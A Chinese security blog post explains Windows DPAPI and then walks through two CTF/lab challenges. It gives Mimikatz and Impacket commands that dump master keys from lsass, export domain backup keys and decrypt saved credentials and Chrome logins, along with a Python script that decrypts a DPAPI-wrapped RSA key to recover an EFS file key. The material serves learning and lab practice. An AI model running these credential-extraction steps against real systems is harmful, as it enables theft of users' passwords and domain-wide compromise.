基本概念 DPAPI,全称Data Protection Application Programming Interface。主要作为windows中数据保护接口,加密windows中的关键应用数据,包括:IE、WIFI密码、Chrome、Outlook等等。
MasterKey 每个Windows用户都会在其特定目录下(后面具体看)维护一组 Master Key:任一时刻有一个当前主密钥(MasterKey)负责加密新数据,并会定期轮换(约 90 天)
轮换了的主密钥仍然会被保留,用于解密历史的加密数据,因此Windows的这个目录下通常有多个以 GUID 命名的文件。Master Key 用用户登录密码、SID 和 16 字节随机盐经密钥派生后加密,保存在 Master Key file 中,存储在 %APPDATA%\Microsoft\Protect\<用户SID>\ 下,文件名即该主密钥的 GUID(也就是刚刚提到的储存位置)。
Master Key file分为两种:
用户Master Key file,位于%APPDATA%\Microsoft\Protect\%SID%
系统Master Key file,位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User
(在windows中查看时,注意要把这个选项关掉)
加解密过程 加密:生成随机会话密钥 → 用会话密钥加密明文 → 用主密钥加密会话密钥 → 组装输出
解密:解析 blob → 依据其中的主密钥 GUID 找到对应主密钥文件,解密得到会话密钥 → 再解密得到明文,并做完整性校验。
User Blob和Machine Blob 使用masterkey加密内容后,会以blob的形式保存。blob的基本结构为:
主密钥 GUID + 被主密钥加密的 Session Key + 盐/算法参数 + HMAC + 密文
按保护作用域分为 User Blob 和 Machine Blob 两类:
User Blob
Machine Blob
触发方式
默认调用(CurrentUser 作用域,不带 CRYPTPROTECT_LOCAL_MACHINE)
带 CRYPTPROTECT_LOCAL_MACHINE 标志,或在 SYSTEM 账户下创建
绑定主体
当前用户的 SID + 用户 Master Key
机器本身(SYSTEM)
对应 Master Key
用户级:%APPDATA%\Microsoft\Protect\<SID>\
系统级:%WINDIR%\System32\Microsoft\Protect\
谁能解密
仅该用户(使用口令/NTLM hash 或域 Backup Key)
本机任意登录用户
Blob的结构,可以使用mimkatz解析
dpapi::blob /in:blob.bin dpapi::blob /in:alice.bin /unprotect /masterkey:<alice的key>
dwVersion : 00000001 - 1 guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} dwMasterKeyVersion : 00000001 - 1 guidMasterKey : {5c22983f-77ee-41e4-9086-8073d664e417} dwFlags : 00000000 - 0 szDescription : * ← 未指定描述时的默认值 algCrypt : 00006603 (CALG_3DES) dwAlgCryptLen : 192 dwSaltLen : 16 pbSalt : 6bccc6a1e6ba8ae74d99fc0801bdc502 dwHmacKeyLen : 0 ← 3DES 时代无此项 algHash : 00008004 (CALG_SHA1) dwHmac2KeyLen : 16 pbHmac2Key : 2a31aa666d7a0efb8b140df7709d0814 dwDataLen : 32 pbData : 679f2ed4ef2829dd49f94fb46ebd575b... ← 密文 dwSignLen : 20 pbSign : e57681477a7407acceb724c385243070cc7aa6ba
主要会标识出版本、使用了哪个Masterkey加密等等比较关键的信息,分析Blob文件的16进制内容会对解密比较有帮助。
Backup机制 Master Key 默认由用户口令派生密钥保护。当口令失效时,比如密码被管理员重置,这时可以使用Backup Key来进行恢复。
Backup Key 本质是一个 RSA 密钥对,存储位置在:
域环境:存储在域控制器上,私钥用DC的机器密钥/SYSTEM 保护;
本地(工作组)环境:%WINDIR%\System32\Microsoft\Protect\,机器级,SYSTEM 保护; 创建 Master Key 时,域环境默认向域控制器请求 Backup Key,用其公钥额外加密一份 Master Key 副本,写入该用户的Master Key file 使用backupkey中的私钥来解密这段副本,即可恢复出masterkey
DPAPI的总体加密流程即:
用户数据/凭据 ← Session Key加密 ← DPAPI Blob ↑ Master Key(用户口令加密) ↑ Backup Key(RSA 公钥加密的副本,私钥在 DC/系统侧)
解析Perferred文件 %APPDATA%\Microsoft\Protect\<SID>\文件夹下,还可以看到一个preferred文件,这个文件显示的是当前系统正在使用的MasterKeyFile及其过期时间。
前16字节表示当前的GUID,后8字节表示过期时间。
对于guid的解析,windows guid采用小端,分为3组(4+2+2 字节),上面的图片解析出来结果为a683545b-a335-4ca9-b971-cb2a9c90c788。
对于时间,后8字节以小端读,转十进制后,然后以100纳秒为单位,转换为秒后在1601-01-01 00:00:00 UTC的基础上累加即可
也可以使用powershell脚本进行解析
$path = "$env:APPDATA \Microsoft\Protect\S-1-5-21-3276978304-1536379225-1006141678-1000\Preferred" $b = [IO.File ]::ReadAllBytes($path )"文件大小: $ ($b .Length) 字节" $g = [Guid ]::new([byte []]$b [0 ..15 ])"Preferred MasterKey GUID: $ ($g .ToString('D').ToLower())" if ($b .Length -ge 24 ) { $ticks = [BitConverter ]::ToInt64($b , 16 ) "到期时间(UTC): $ ([DateTime]::FromFileTimeUtc($ticks ).ToString('u'))" }
使用Mimikatz和impacket工具 DPAPI的解密过程,核心是解出masterkey,不管是利用用户口令解密主密钥文件(masterkey file)还是利用backupkey恢复,拿到masterkey之后,解密blob就比较容易。
Mimikatz 首先提取masterkey,主要有四种方法
目标用户已经登陆,直接从lessas.exe进程中提取已解密的Master Key
privilege::debug sekurlsa::dpapi
已知用户口令和sid,离线解密主密钥文件
dpapi::masterkey /in:"...\Protect\<SID>\<masterkeyGUID>" /sid:S-1-5-21-... /password:用户口令
用户已经是域用户,但是口令未知,可以让 DC 用域备份密钥在线解
dpapi::masterkey /in:"...\Protect\<SID>\<masterkeyGUID>" /rpc
拿到域管权限,可以导出backup密钥,离线解密任意用户的master key
lsadump::backupkeys /system:<DC名> /export dpapi::masterkey /in:"...\<SID>\<masterkeyGUID>" /pvk:ntds_capi_0_<GUID>.pvk
然后解密具体的blob
dpapi::blob /in:blob.bin /unprotect /masterkey:<hex> dpapi::blob /in:wired.bin /raw /unprotect /masterkey:<hex> /entropy:<熵hex> dpapi::cred /in:"C:\Users\<user>\AppData\Local\Microsoft\Credentials\<blobGUID>" /masterkey:<hex> dpapi::chrome /in:"C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotect /masterkey:<hex>
也可以使用mimikatz进行加密:
dpapi::protect /data:"要保护的明文"
Impacket
用口令解主密钥
dpapi.py masterkey -file "/path/to/<masterkey文件>" -sid "S-1-5-21-..." -password "用户口令"
拿到域管之后抓backup key后离线解密任意用户
dpapi.py backupkeys -t 'DOMAIN/域管账号:口令@<DC>' --export dpapi.py masterkey -file "/path/to/<masterkey文件>" -pvk "/path/to/backup_key.pvk"
解出masterkey之后解密blob
dpapi.py credential -file "/path/to/受保护的blob文件" -key <解出的masterkey hex>
赛题实操一下 HackTheBox DanglingTree靶机 第一次接触到DPAPI是在打htb的靶机的时候,用cmdkey /list查看Windows Credential Manager中的凭据,发现noah这个用户保存过alex.o在PC01.danglingtree.htb的凭据
Credential Manager中保存的密码就是使用DPAPI的机制来储存的,这个靶机涉及的就比较简单了,由于这个靶机我们已经知道noah用户的密码是RiverDragon#Storm25,因此可以直接用用户的口令和SID解密出masterkey。
Masterkey 文件: C:\Users\noah.b\AppData\Roaming\Microsoft\Protect\<SID>\f53fcaba-f057-48e8-8f92-0180d274bf0f Credential 文件: C:\Users\noah.b\AppData\Roaming\Microsoft\Credentials\57FFB67D684C67F09E7153B9C7CC3940
使用impacket,先解密masterkey
dpapi.py masterkey \ -file f53fcaba-f057-48e8-8f92-0180d274bf0f \ -sid 'S-1-5-21-4220238332-57023728-1129110646-1602' \ -password 'RiverDragon#Storm25'
解密密码
dpapi.py credential \ -file 57FFB67D684C67F09E7153B9C7CC3940 \ -key 0x7120d9adb3b8ccd8901bf9e2a29afabcbbcbdb5a13a24a1817bda49097c7ff3c8e5d71f34ae43850a136dc64dbd37061d4f9c34bdbdca21aa8af57d26baad0d8 [CREDENTIAL] LastWritten : 2026-03-27 22:03:38+00:00 Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH) Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE) Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD) Target : Domain:target=PC01.danglingtree.htb Description : Unknown : Username : alex.o Unknown : SunsetMountainPeak@2025
至此这个靶机的DPAPI部分完成,横向得到了alex的密码SunsetMountainPeak@2025,后续去打dangling template劫持。
2026湾区杯 whoami 湾区杯的这个题目对于windows的加密机制的考察就更全面了。
拿到的是一个windows的内存镜像附件,先用vol3看一下进程,当前用户是ycx25,同时也存在Alice和Bob两个用户,同时搜索whoami发现有一个比较可疑的exe文件。
dump一下
vol -o "E:\admin\Downloads\whoami" -f "E:\admin\Downloads\whoami\whoami?.raw" windows.dumpfiles --physaddr 0 x7db6b940
接下来需要提取出exe中的zip payload和alice blob,这部分是这个题目比较关键的部分,但不是文章重点,我也不是很擅长逆向。主要可以得出的结论是:
关键的注入函数:
void inject (HANDLE hProc, const char *name, void *src, DWORD size) { void *addr = VirtualAllocEx(hProc, NULL , 0x1000 , MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE); WriteProcessMemory(hProc, addr, src, size, &written); VirtualProtectEx(hProc, addr, 0x1000 , PAGE_READONLY, &old); printf ("[+] %s: 0x%p size %u (alloc %zu)" , name, addr, size, 0x1000 ); }
进行了三次WriteProcessMemory,三次的内容分别是ZIP Payload(Xor 0x55后),alice DPAPI和bob DPAPI,随后打印了My favorite ASCII char is U !!!!,最后启动 calc.exe 并键入85
首先我们提取一下exe注入的三段payload
import idaapi base = idaapi.get_imagebase() payloads = [ (base + 0x16370 , 0x66A , "payload_zip.bin" ), (base + 0x169E0 , 0x6A1 , "payload_alice.bin" ), (base + 0x17090 , 0x691 , "payload_bob.bin" ), ] outdir = r"E:\admin\Downloads\whoami_7444f331092f76997e2a8944fb2ab8bf" import os os.makedirs(outdir, exist_ok=True )for ea, size, name in payloads: data = ida_bytes.get_bytes(ea, size) if not data or len (data) != size: print (f"[-] {name} : read failed at {hex (ea)} " ) continue with open (os.path.join(outdir, name), "wb" ) as f: f.write(data) print (f"[+] {name} : {len (data)} bytes @ {hex (ea)} " )
根据前面的提示,或者看一下zip的16进制,可以发现异或了0x55,恢复后修复一下zip的签名和伪加密(所有的签名都被破换了,需要恢复,总共9处,四个文件的flag位都要改为无加密,这个不是重点不多说了),恢复后:
得到提示:
The owner encrypted this file. Who is the owner?
证书信息: secret.txt和secret.txt$EFS表明采用了Winodws的EFS进行文件加密,
当我们使用EFS对一个NTFS文件进行加密时,Windows系统会生成一个伪随机数FEK(采用AES-256来加密文件),用这个FEK对文件进行加密同时将文件的原位进行覆写,随后系统利用公钥再进行一次对FEK的加密,加密后的FEK存储在加密文件的EFS属性中。
那么此处给我们了一个alice的公钥,其sha1指纹为d847bbf88e06fa0f5490a238be03d96c9b082b5a
同时在EFS文件元数据中找到了对应的指纹,证明这个文件是被alice加密的
接着重点看一下alice的payload注入文件,这里我借助ai来分析了一下。 首先整个文件有两部分,前半部分文件名为C:\Users\alice\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2432978570-3942096864-396630067-1001\540d6ad4-310c-4551-a19d-a6174a0f2639,根据前面我们可以推断出是alice fek的私钥加密blob,后半部分C:\Users\alice\AppData\Roaming\Microsoft\Protect\S-1-5-21-2432978570-3942096864-396630067-1001\540d6ad4-310c-4551-a19d-a6174a0f2639,这个位置按理来说应该是masterkeyfile,但是仔细看只有64字节,那么应该就是已解密的masterkey,为66a6ffafe290e40e1cc3a20fbece3e422bf5e904ce51b888d3e351330b8621d6966fbc4c1567f3794848ba9eecb188ce00e9c459d35b728d0c701d7528fb7e09
接下来解密blob,得到alice的私钥。但是此处用的不是标准的blob加密和填充方式,没法直接用工具解密。
先看一下blob的16进制结构,有两个地方需要注意“
偏移 字段 本例实际值 0x00 version 01 00 00 00 = 1 0x04 provider GUID 16 字节全 0 0x14 mk_version 01 00 00 00 = 1 0x18 mk_guid 540d6ad4-310c-4551-a19d-a6174a0f2639 的 LE 0x28 flags 0 0x2C desc_len 42 0x30 desc "CryptoAPI private key" (UTF-16LE, 42 字节) crypt_algo 0x00006603 (CALG_3DES) crypt_len 8 ← 这里密钥长度是8,然而3DES长度是24,因此此处采用的是DES-CBC而不是3DES salt_len 16 salt 5faf137a4f984a274f0664c64baf5265 hmac_key_len 0 (空) hash_algo 0x00008009 (CALG_HMAC) hash_len 20 hmac_len 20 hmac 20 个 00 ← hmac 字段是 20 个零。 它充当签名校验和密钥派生中的"nonce",按零处理即可。 data_len 1176 enc_data 1176 字节密文 sig_len 20 sig c66b1e46443f0873c588322867f80ed6126c0070
上面的加密方式有点不常规。遛一下deepseek了,一个可以一键处理的脚本。
import sysimport structfrom hashlib import sha1from hmac import new as hmac_newfrom Cryptodome.Cipher import DESfrom Cryptodome.PublicKey import RSAfrom Cryptodome.Util.Padding import unpaddef u32 (data, off ): return struct.unpack_from("<I" , data, off)[0 ]def parse_pack (seg ): """把 alice DPAPI pack 拆成 (dpapi_blob, masterkey64)。""" entries = [] off = 0 for _ in range (2 ): end = seg.index(b"\x00" , off) path = seg[off:end].decode("ascii" , "replace" ) size = u32(seg, end + 1 ) blob = seg[end + 5 :end + 5 + size] entries.append((path, blob)) off = end + 5 + size if "RSA" not in entries[0 ][0 ] or len (entries[1 ][1 ]) != 64 : raise ValueError("不是 alice DPAPI pack: " f"entry1={entries[0 ][0 ][:40 ]!r} , entry2 size={len (entries[1 ][1 ])} " ) return entries[0 ][1 ], entries[1 ][1 ]def parse_dpapi_blob (data ): """按题目 blobs 的实际布局解析 DPAPI_BLOB。""" B = {} off = 0 B["version" ] = u32(data, off); off += 4 B["provider" ] = data[off:off + 16 ]; off += 16 B["mk_version" ] = u32(data, off); off += 4 B["mk_guid" ] = data[off:off + 16 ]; off += 16 B["flags" ] = u32(data, off); off += 4 B["desc_len" ] = u32(data, off); off += 4 B["desc" ] = data[off:off + B["desc_len" ]]; off += B["desc_len" ] B["crypt_algo" ] = u32(data, off); off += 4 B["crypt_len" ] = u32(data, off); off += 4 B["salt_len" ] = u32(data, off); off += 4 B["salt" ] = data[off:off + B["salt_len" ]]; off += B["salt_len" ] B["hmac_key_len" ] = u32(data, off); off += 4 B["hmac_key" ] = data[off:off + B["hmac_key_len" ]]; off += B["hmac_key_len" ] B["hash_algo" ] = u32(data, off); off += 4 B["hash_len" ] = u32(data, off); off += 4 B["hmac_len" ] = u32(data, off); off += 4 B["hmac" ] = data[off:off + B["hmac_len" ]]; off += B["hmac_len" ] B["data_len" ] = u32(data, off); off += 4 B["enc_data" ] = data[off:off + B["data_len" ]]; off += B["data_len" ] B["to_sign" ] = data[20 :off] B["sig_len" ] = u32(data, off); off += 4 B["sig" ] = data[off:off + B["sig_len" ]] return Bdef verify_dpapi_sig (B, keyhash ): """微软 Type1 非标准 HMAC 签名校验。""" padded = keyhash + b"\x00" * 64 ipad = bytes (x ^ 0x36 for x in padded[:64 ]) opad = bytes (x ^ 0x5C for x in padded[:64 ]) inner = sha1(ipad + B["hmac" ]).digest() sig = sha1(opad + inner + B["to_sign" ]).digest() return sig[:len (B["sig" ])] == B["sig" ]def decrypt_alice_private_blob (dpapi_blob, masterkey64 ): B = parse_dpapi_blob(dpapi_blob) keyhash = sha1(masterkey64).digest() if not verify_dpapi_sig(B, keyhash): raise RuntimeError("DPAPI 签名校验失败:masterkey 不对或 blob 不匹配" ) session_key = hmac_new(keyhash, B["salt" ], sha1).digest() if B["crypt_len" ] != 8 : raise RuntimeError(f"意外的 crypt_len={B['crypt_len' ]} ,本脚本只处理 DES-CBC" ) cipher = DES.new(session_key[:8 ], DES.MODE_CBC, iv=b"\x00" * 8 ) return unpad(cipher.decrypt(B["enc_data" ]), 8 )def parse_privatekeyblob (priv_blob ): if priv_blob[:2 ] != b"\x07\x02" or priv_blob[8 :12 ] != b"RSA2" : raise ValueError("不是 RSA PRIVATEKEYBLOB" ) bitlen = u32(priv_blob, 12 ) e = u32(priv_blob, 16 ) size = bitlen // 8 half = size // 2 off = 20 n = int .from_bytes(priv_blob[off:off + size], "big" ); off += size p = int .from_bytes(priv_blob[off:off + half], "big" ); off += half q = int .from_bytes(priv_blob[off:off + half], "big" ); off += half off += half * 3 d = int .from_bytes(priv_blob[off:off + size], "big" ) if p * q != n: raise ValueError("私钥参数校验失败 (p*q != n),可能是字节序不对(应为 big-endian)" ) return n, e, d, p, q, pow (p, -1 , q)def build_rsa_key (priv_blob ): """从 PRIVATEKEYBLOB 组装 PyCryptodome 的 RSA 私钥对象。""" params = parse_privatekeyblob(priv_blob) rsa = RSA.construct(params, consistency_check=True ) assert (params[1 ] * params[2 ]) % ((params[3 ] - 1 ) * (params[4 ] - 1 )) == 1 return rsadef main (): if len (sys.argv) < 2 : print (__doc__) sys.exit(1 ) in_path = sys.argv[1 ] out_path = sys.argv[2 ] if len (sys.argv) > 2 else "alice_privatekey_blob.bin" seg = open (in_path, "rb" ).read() dpapi_blob, masterkey64 = parse_pack(seg) print (f"[+] 读入 {in_path} : {len (seg)} 字节" ) print (f"[+] dpapi_blob: {len (dpapi_blob)} 字节, 头 {dpapi_blob[:8 ].hex ()} " ) print (f"[+] masterkey64: {masterkey64.hex ()} " ) priv_blob = decrypt_alice_private_blob(dpapi_blob, masterkey64) with open (out_path, "wb" ) as f: f.write(priv_blob) if priv_blob[:2 ] != b"\x07\x02" or priv_blob[8 :12 ] != b"RSA2" : raise SystemExit("不是 RSA PRIVATEKEYBLOB" ) print (f"[+] 解密成功 -> {out_path} ({len (priv_blob)} 字节)" ) rsa = build_rsa_key(priv_blob) print ("[+] RSA 私钥已组装" ) pem_path = out_path.rsplit("." , 1 )[0 ] + ".pem" der_path = out_path.rsplit("." , 1 )[0 ] + ".der" with open (pem_path, "w" ) as f: f.write(rsa.export_key(format ="PEM" ).decode()) with open (der_path, "wb" ) as f: f.write(rsa.export_key(format ="DER" )) print (f"[+] 已导出 PEM -> {pem_path} " ) print (f"[+] 已导出 DER -> {der_path} " )if __name__ == "__main__" : main()
接着解密出FEK的加密密钥,efs文件中00 01 00 00表示长度为256,后续256长度的即为加密后的efs密钥
不知道cyberchef为什么不行,那换成python解密
from Cryptodome.PublicKey import RSAfrom Cryptodome.Cipher import PKCS1_OAEPfrom Cryptodome.Hash import SHA1 rsakey = RSA.import_key(open ('alice_privatekey_blob.pem' ,'rb' ).read()) encrypt_fek = open ("secret.txt.$EFS" , "rb" ).read()[0x34 :] fek = PKCS1_OAEP.new(rsakey, hashAlgo=SHA1).decrypt(encrypt_fek)print ('FEK =' , fek.hex ())
最后,secret.txt的前面16字节是iv,使用FEK作为key解密即可
我让ai帮我整理了一个图示:
secret.txt (密文) secret.txt.$EFS (DDF) │ │ │ │ 0x18: 指纹 d847bbf8… → 找 alice 私钥 │ │ 0x34: RSA-OAEP 加密的 FEK │ │ │ [alice RSA 私钥] ──RSA-OAEP──→ FEK │ │ └────────── AES-256-CBC (key=FEK, IV=前16字节) ─────┘ ↓ Welcome back, alice. flag{b52e9923-a9ac-46c7-ae30-ab5523cdb804}
这个题目一层加密套一层加密的,理解整个过程和原理很重要。
参考文章 https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E8%8E%B7%E5%8F%96Windows%E7%B3%BB%E7%BB%9F%E4%B8%8BDPAPI%E4%B8%AD%E7%9A%84MasterKey
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++
文章作者: Xiaohao
文章链接: https://blog.enxiaohao.cn/posts/Pentration/WindowsDPAPI/
版权声明:除另有声明外,本博客文章均采用 CC BY-NC-SA 4.0 许可协议。转载请注明原作者与文章出处。